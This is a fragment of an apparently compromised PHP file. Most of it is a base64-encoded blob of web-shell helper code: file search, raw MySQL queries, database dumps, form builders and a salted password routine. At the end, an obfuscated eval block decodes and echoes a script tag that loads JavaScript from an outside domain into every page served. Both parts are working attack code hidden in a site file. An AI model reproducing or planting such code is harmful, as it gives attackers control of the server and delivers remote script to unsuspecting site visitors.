aW5fYXJyYXkoJGV4dCwgZXhwbG9kZSgnLCcsICR3cml0YWJsZWRiKSkpewoJCQkJJGZpbmQgPSAwOwoJCQkJaWYgKCRyZSkgewoJCQkJCWlmICggcHJlZ19tYXRjaCgnQCcuJGNvbnRlbnQuJ0AnLCRmaWxlKSB8fCBwcmVnX21hdGNoKCdAJy4kY29udGVudC4nQCcsIEBmaWxlX2dldF9jb250ZW50cygkZikpICl7CgkJCQkJCSRmaW5kID0gMTsKCQkJCQl9CgkJCQl9IGVsc2UgewoJCQkJCWlmICggc3Ryc3RyKCRmaWxlLCAkY29udGVudCkgfHwgc3Ryc3RyKCBAZmlsZV9nZXRfY29udGVudHMoJGYpLCRjb250ZW50ICkgKSB7CgkJCQkJCSRmaW5kID0gMTsKCQkJCQl9CgkJCQl9CgkJCQlpZiAoJGZpbmQpIHsKCQkJCQkkZmlsZWRhdGFbJGpdWydmaWxlbmFtZSddPXN0cl9yZXBsYWNlKCRub3dwYXRoLCcnLCRmKTsKCQkJCQkkZmlsZWRhdGFbJGpdWydzaXplJ109c2l6ZWNvdW50KEBmaWxlc2l6ZSgkZikpOwoJCQkJCSRmaWxlZGF0YVskal1bJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJGYpKTsKCQkJCQkkZmlsZWRhdGFbJGpdWydmaWxlY2htb2QnXT1nZXRDaG1vZCgkZik7CgkJCQkJJGZpbGVkYXRhWyRqXVsnZmlsZXBlcm0nXT1nZXRQZXJtcygkZik7CgkJCQkJJGZpbGVkYXRhWyRqXVsnZmlsZW93bmVyJ109Z2V0VXNlcigkZik7CgkJCQkJJGZpbGVkYXRhWyRqXVsnZGlybGluayddPSRkaXI7CgkJCQkJJGZpbGVkYXRhWyRqXVsnc2VydmVyX2xpbmsnXT0kZjsKCQkJCQkkaisrOwoJCQkJfQoJCQl9CgkJfQoJCWNsb3NlZGlyKCRkaCk7CgkJY2xlYXJzdGF0Y2FjaGUoKTsKCQlyZXR1cm4gJGZpbGVkYXRhOwoJfSBlbHNlIHsKCQlyZXR1cm4gYXJyYXkoKTsKCX0KfQoKZnVuY3Rpb24gcXkoJHNxbCkgeyAKCWdsb2JhbCAkbXlzcWxsaW5rOwoJLy9lY2hvICRzcWwuJzxicj4nOwoJJHJlcyA9ICRlcnJvciA9ICcnOwoJaWYoISRyZXMgPSBAbXlzcWxfcXVlcnkoJHNxbCwkbXlzcWxsaW5rKSkgeyAKCQlyZXR1cm4gMDsKCX0gZWxzZSBpZihpc19yZXNvdXJjZSgkcmVzKSkgewoJCXJldHVybiAxOyAKCX0gZWxzZSB7CgkJcmV0dXJuIDI7Cgl9CQoJcmV0dXJuIDA7Cn0KCmZ1bmN0aW9uIHEoJHNxbCkgeyAKCWdsb2JhbCAkbXlzcWxsaW5rOwoJcmV0dXJuIEBteXNxbF9xdWVyeSgkc3FsLCRteXNxbGxpbmspOwp9CgpmdW5jdGlvbiBmcigkcXkpewoJbXlzcWxfZnJlZV9yZXN1bHQoJHF5KTsKfQoKZnVuY3Rpb24gc2l6ZWNvdW50KCRmaWxlU2l6ZSkgewoJJHNpemUgPSBzcHJpbnRmKCIldSIsICRmaWxlU2l6ZSk7CglpZigkc2l6ZSA9PSAwKSB7CgkJcmV0dXJuICcwIEJ5dGVzJyA7Cgl9Cgkkc2l6ZW5hbWUgPSBhcnJheSgnIEJ5dGVzJywgJyBLQicsICcgTUInLCAnIEdCJywgJyBUQicsICcgUEInLCAnIEVCJywgJyBaQicsICcgWUInKTsKCXJldHVybiByb3VuZCggJHNpemUgLyBwb3coMTAyNCwgKCRpID0gZmxvb3IobG9nKCRzaXplLCAxMDI0KSkpKSwgMikgLiAkc2l6ZW5hbWVbJGldOwp9Ci8vID8/Pz8/CmZ1bmN0aW9uIHNxbGR1bXB0YWJsZSgkdGFibGUsICRmcD0wKSB7CglnbG9iYWwgJG15c3FsbGluazsKCgkkdGFibGVkdW1wID0gIkRST1AgVEFCTEUgSUYgRVhJU1RTIGAkdGFibGVgO1xuIjsKCSRyZXMgPSBxKCJTSE9XIENSRUFURSBUQUJMRSAkdGFibGUiKTsKCSRjcmVhdGUgPSBteXNxbF9mZXRjaF9yb3coJHJlcyk7CgkkdGFibGVkdW1wIC49ICRjcmVhdGVbMV0uIjtcblxuIjsKCglpZiAoJGZwKSB7CgkJZndyaXRlKCRmcCwkdGFibGVkdW1wKTsKCX0gZWxzZSB7CgkJZWNobyAkdGFibGVkdW1wOwoJfQoJJHRhYmxlZHVtcCA9ICcnOwoJJHJvd3MgPSBxKCJTRUxFQ1QgKiBGUk9NICR0YWJsZSIpOwoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkcm93cykpIHsKCQlmb3JlYWNoKCRyb3cgYXMgJGs9PiR2KSB7CgkJCSRyb3dbJGtdID0gIiciLkBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpLiInIjsKCQl9CgkJJHRhYmxlZHVtcCA9ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJHJvdykuJyk7Jy4iXG4iOwoJCWlmICgkZnApIHsKCQkJZndyaXRlKCRmcCwkdGFibGVkdW1wKTsKCQl9IGVsc2UgewoJCQllY2hvICR0YWJsZWR1bXA7CgkJfQoJfQoJZndyaXRlKCRmcCwiXG5cbiIpOwoJZnIoJHJvd3MpOwp9CgpmdW5jdGlvbiBwKCRzdHIpewoJZWNobyAkc3RyLiJcbiI7Cn0KCmZ1bmN0aW9uIHRiaGVhZCgpIHsKCXAoJzx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNCIgY2VsbHNwYWNpbmc9IjAiPicpOwp9CmZ1bmN0aW9uIHRiZm9vdCgpewoJcCgnPC90YWJsZT4nKTsKfQoKZnVuY3Rpb24gbWFrZWhpZGUoJG5hbWUsJHZhbHVlPScnKXsKCXAoIjxpbnB1dCBpZD1cIiRuYW1lXCIgdHlwZT1cImhpZGRlblwiIG5hbWU9XCIkbmFtZVwiIHZhbHVlPVwiJHZhbHVlXCIgLz4iKTsKfQoKZnVuY3Rpb24gbWFrZWlucHV0KCRhcmcgPSBhcnJheSgpKXsKCSRhcmdbJ3NpemUnXSA9ICRhcmdbJ3NpemUnXSA+IDAgPyAic2l6ZT1cIiRhcmdbc2l6ZV1cIiIgOiAic2l6ZT1cIjEwMFwiIjsKCSRhcmdbJ2V4dHJhJ10gPSAkYXJnWydleHRyYSddID8gJGFyZ1snZXh0cmEnXSA6ICcnOwoJISRhcmdbJ3R5cGUnXSAmJiAkYXJnWyd0eXBlJ10gPSAndGV4dCc7CgkkYXJnWyd0aXRsZSddID0gJGFyZ1sndGl0bGUnXSA/ICRhcmdbJ3RpdGxlJ10uJzxiciAvPicgOiAnJzsKCSRhcmdbJ2NsYXNzJ10gPSAkYXJnWydjbGFzcyddID8gJGFyZ1snY2xhc3MnXSA6ICdpbnB1dCc7CglpZiAoJGFyZ1snbmV3bGluZSddKSB7CgkJcCgiPHA+JGFyZ1t0aXRsZV08aW5wdXQgY2xhc3M9XCIkYXJnW2NsYXNzXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgdmFsdWU9XCIkYXJnW3ZhbHVlXVwiIHR5cGU9XCIkYXJnW3R5cGVdXCIgJGFyZ1tzaXplXSAkYXJnW2V4dHJhXSAvPjwvcD4iKTsKCX0gZWxzZSB7CgkJcCgiJGFyZ1t0aXRsZV08aW5wdXQgY2xhc3M9XCIkYXJnW2NsYXNzXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgdmFsdWU9XCIkYXJnW3ZhbHVlXVwiIHR5cGU9XCIkYXJnW3R5cGVdXCIgJGFyZ1tzaXplXSAkYXJnW2V4dHJhXSAvPiIpOwoJfQp9CgpmdW5jdGlvbiBtYWtlc2VsZWN0KCRhcmcgPSBhcnJheSgpKXsKCWlmICgkYXJnWydvbmNoYW5nZSddKSB7CgkJJG9uY2hhbmdlID0gJ29uY2hhbmdlPSInLiRhcmdbJ29uY2hhbmdlJ10uJyInOwoJfQoJJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddIDogJyc7CglpZiAoJGFyZ1snbmV3bGluZSddKSBwKCc8cD4nKTsKCXAoIiRhcmdbdGl0bGVdIDxzZWxlY3QgY2xhc3M9XCJpbnB1dFwiIGlkPVwiJGFyZ1tuYW1lXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgJG9uY2hhbmdlPiIpOwoJCWlmIChpc19hcnJheSgkYXJnWydvcHRpb24nXSkpIHsKCQkJaWYgKCRhcmdbJ25va2V5J10pIHsKCQkJCWZvcmVhY2ggKCRhcmdbJ29wdGlvbiddIGFzICR2YWx1ZSkgewoJCQkJCWlmICgkYXJnWydzZWxlY3RlZCddPT0kdmFsdWUpIHsKCQkJCQkJcCgiPG9wdGlvbiB2YWx1ZT1cIiR2YWx1ZVwiIHNlbGVjdGVkPiR2YWx1ZTwvb3B0aW9uPiIpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCXAoIjxvcHRpb24gdmFsdWU9XCIkdmFsdWVcIj4kdmFsdWU8L29wdGlvbj4iKTsKCQkJCQl9CgkJCQl9CgkJCX0gZWxzZSB7CgkJCQlmb3JlYWNoICgkYXJnWydvcHRpb24nXSBhcyAka2V5PT4kdmFsdWUpIHsKCQkJCQlpZiAoJGFyZ1snc2VsZWN0ZWQnXT09JGtleSkgewoJCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiIHNlbGVjdGVkPiR2YWx1ZTwvb3B0aW9uPiIpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCXAoIjxvcHRpb24gdmFsdWU9XCIka2V5XCI+JHZhbHVlPC9vcHRpb24+Iik7CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJcCgiPC9zZWxlY3Q+Iik7CglpZiAoJGFyZ1snbmV3bGluZSddKSBwKCc8L3A+Jyk7Cn0KZnVuY3Rpb24gZm9ybWhlYWQoJGFyZyA9IGFycmF5KCkpIHsKCWdsb2JhbCAkc2VsZjsKCSEkYXJnWydtZXRob2QnXSAmJiAkYXJnWydtZXRob2QnXSA9ICdwb3N0JzsKCSEkYXJnWydhY3Rpb24nXSAmJiAkYXJnWydhY3Rpb24nXSA9ICRzZWxmOwoJJGFyZ1sndGFyZ2V0J10gPSAkYXJnWyd0YXJnZXQnXSA/ICJ0YXJnZXQ9XCIkYXJnW3RhcmdldF1cIiIgOiAnJzsKCSEkYXJnWyduYW1lJ10gJiYgJGFyZ1snbmFtZSddID0gJ2Zvcm0xJzsKCXAoIjxmb3JtIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgYWN0aW9uPVwiJGFyZ1thY3Rpb25dXCIgbWV0aG9kPVwiJGFyZ1ttZXRob2RdXCIgJGFyZ1t0YXJnZXRdPiIpOwoJaWYgKCRhcmdbJ3RpdGxlJ10pIHsKCQlwKCc8aDI+Jy4kYXJnWyd0aXRsZSddLicgJnJhcXVvOzwvaDI+Jyk7Cgl9Cn0KCQpmdW5jdGlvbiBtYWtldGV4dCgkYXJnID0gYXJyYXkoKSl7CgkhJGFyZ1snY29scyddICYmICRhcmdbJ2NvbHMnXSA9IDEwMDsKCSEkYXJnWydyb3dzJ10gJiYgJGFyZ1sncm93cyddID0gMjU7CgkkYXJnWyd0aXRsZSddID0gJGFyZ1sndGl0bGUnXSA/ICRhcmdbJ3RpdGxlJ10uJzxiciAvPicgOiAnJzsKCXAoIjxwPiRhcmdbdGl0bGVdPHRleHRhcmVhIGNsYXNzPVwiYXJlYVwiIGlkPVwiJGFyZ1tuYW1lXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgY29scz1cIiRhcmdbY29sc11cIiByb3dzPVwiJGFyZ1tyb3dzXVwiICRhcmdbZXh0cmFdPiRhcmdbdmFsdWVdPC90ZXh0YXJlYT48L3A+Iik7Cn0KCmZ1bmN0aW9uIGZvcm1mb290ZXIoJG5hbWUgPSAnJyl7CgkhJG5hbWUgJiYgJG5hbWUgPSAnc3VibWl0JzsKCXAoJzxwPjxpbnB1dCBjbGFzcz0iYnQiIG5hbWU9IicuJG5hbWUuJyIgaWQ9IicuJG5hbWUuJyIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0Ij48L3A+Jyk7CglwKCc8L2Zvcm0+Jyk7Cn0KCmZ1bmN0aW9uIGdvYmFjaygpewoJZ2xvYmFsICRzZWxmLCAkbm93cGF0aDsKCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImZpbGUiIC8+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGlyIiB2YWx1ZT0iJy4kbm93cGF0aC4nIiAvPjxwPjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIGJhY2suLi4iPjwvcD48L2Zvcm0+Jyk7Cn0KCmZ1bmN0aW9uIGZvcm1mb290KCl7CglwKCc8L2Zvcm0+Jyk7Cn0KCmZ1bmN0aW9uIGVuY29kZV9wYXNzKCRwYXNzKSB7CgkkcGFzcyA9IG1kNSgnYW5nZWwnLiRwYXNzKTsKCSRwYXNzID0gbWQ1KCRwYXNzLidhbmdlbCcpOwoJJHBhc3MgPSBtZDUoJ2FuZ2VsJy4kcGFzcy4nYW5nZWwnKTsKCXJldHVybiAkcGFzczsKfQoKZnVuY3Rpb24gcHIoJHMpewoJZWNobyAiPHByZT4iLnByaW50X3IoJHMpLic8L3ByZT4nOwp9Cgo=")); ?> <?php $linr = "ZWNobyAiPFNDUklQVCBTUkM9aHR0cDovL3NhZ2xpa2xpLXlhc2"; $winr = "FtLmNvbS91cGRhdGUuanM+PC9TQ1JJUFQ+Ijs="; $min = 'base' . (128 / 2) . '_de' . 'code'; eval($min($linr . $winr)); ?>